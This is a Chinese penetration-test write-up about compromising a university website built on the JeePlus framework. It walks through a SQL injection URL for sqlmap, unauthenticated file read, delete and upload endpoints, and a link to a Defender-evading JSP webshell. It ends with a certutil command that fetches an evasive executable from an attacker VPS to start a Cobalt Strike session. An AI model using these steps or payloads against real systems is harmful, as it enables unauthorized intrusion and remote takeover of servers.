0x01 前言
碰到了一个对外宣传是否安全的站点,但实际测试下来并不安全。不过在这次获取权限的过程中还是有点曲折,记录下来并分享给大家。
1. 进入
2. 寻找上传点
进来后找到一处文件上传的地方进行测试
前端对上传的文件类型做了初步校验,这里我们上传一个空文本后抓包
发现路径可以被操控,而且返回了绝对路径。
尝试访问后发现不能被解析只能下载。
再次寻找上传点,发现有头像上传的地方。这种上传点一般都能被解析。
上传正常图片
返回了上传成功的提示,但没发现返回的地址。
而后在个人资料出发现了图片地址
我们再次尝试构造请求报文重发,这里直接将后缀改成 jsp 上传成功
刷新个人信息,找到访问链接。发现仍然是只能下载。
3. 突破口
我在 Cookie 中发现 jeeplus 的字眼,尝试搜索 getshell 方法
发现早已有前辈做过代码审计。
1)SQL注入
/a/sys/register/registerUser?roleName=wangba&mobile=13300990099\*&randomCode=2131&loginName=test1&password=123123&confirmNewPassword=123123&ck1=on&randomCode=2131&loginName=test1&password=123123&confirmNewPassword=123123&ck1=on
更具已有的 poc 进行尝试 sqlmap 跑起来,*号的地方是注入点。
通过 sqlmap 跑出来是 oracle 数据库。尝试一些查询和提权无果放弃。注意,oracle 注入的 sql shell 只能做查询语句。
2)文件管理
直接访问 https://xxx.edu.cn/a/sys/file 就能越权进入到文件管理页面
这个目录下面的文件都只能下载,我们对这里的文件上传、删除、下载都做了测试。
a. 任意文件读取
下载接口可以返回文件内容,存在任意文件读取。
b.任意文件删除
这里甚至可以直接删除文件夹
c. 任意文件上传
这里可以自定义上传路径,如果路径不存在则创建目录并上传。
3)尝试上传文件到可解析目录
我第一时间想到上传到 static 目录,因为这个目录是可以被直接访问的。
然后尝试访问仍然是 404。
这里就是我没有找到真确的路径。想去官网直接下载源码,点击下载后回要求注册,注册之后也没有发现哪里有下载源码的地方。
没办法就去凌风云网盘搜了一下,发现存在历史的版本,我感觉差异应该不会那么大。
挑了一个比较大文件的下载,解压后可以查看目录结构。
看到有存放配置文件的地方,我想看看能不能通过读取配置来找到绝对路径。
结果还是路径不对。一番尝试后无果,突然想起来站点的目录还没扫过,直接 dirsearch 来一波。
当我看到扫出来 web.xml 这些配置文件我就知道有戏了。
在 web.xml 中没有发现东西,但是在 conf/server.xml 发现了站点的另一个路径,我觉得这就是前端访问的路径。
通过任意文件接口尝试构造路径 C:\tomcat\webapps\xxxx\WEB-INF\web.xml 发现有内容返回说明我找对了路径,然后发现了 404.jsp 存放的路径,对比我们之前拿到的源码发现我们成功找对了路径——上传文件到 webpage 这个目录绝对能解析。
尝试直接上传 webshell。
发现文件真实存在,但是没有返回东西,我用任意文件读取查看。
4)免杀绕过WD检测
发现可能存在waf,但我后面对waf做了识别发现是 apache generic,这个不至于拦截我传的。再用 nmap 对机器做识别发现是 window10,让我想起了被 windows Defender支配的恐惧,不过这里我们找个命令免杀马子上传即可,找了一番之后用了以前 hw 碰到的一个马子。
https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/jsp/Runtime-reflect-cmd.jsp
5)上线 CS
成功上传并执行命令,原本想通过 powershell 上线,但是尝试过不同的命令包括免杀命令都不行。
然后我通过远程下载我的免杀马子上线 CS
certutil -urlcache -split -f http://VPS/免杀马子.exe
成功上线。
代理出来之后进入桌面,发现果然开启了 WD
上机之后才知道,原来管理员把上传文件夹路径放到F盘,主体是C盘,估计就是怕内存不够吧。
0x03 总结
碰到没有思路的站点就做好信息收集扩大攻击面。指纹识别、端口扫描、路径扫描都是老生常谈的了,这次还结合了公网网盘信息泄露的点,不然我还得继续猜路径。还有一点需要注意的是,测试的前提是取得相关授权。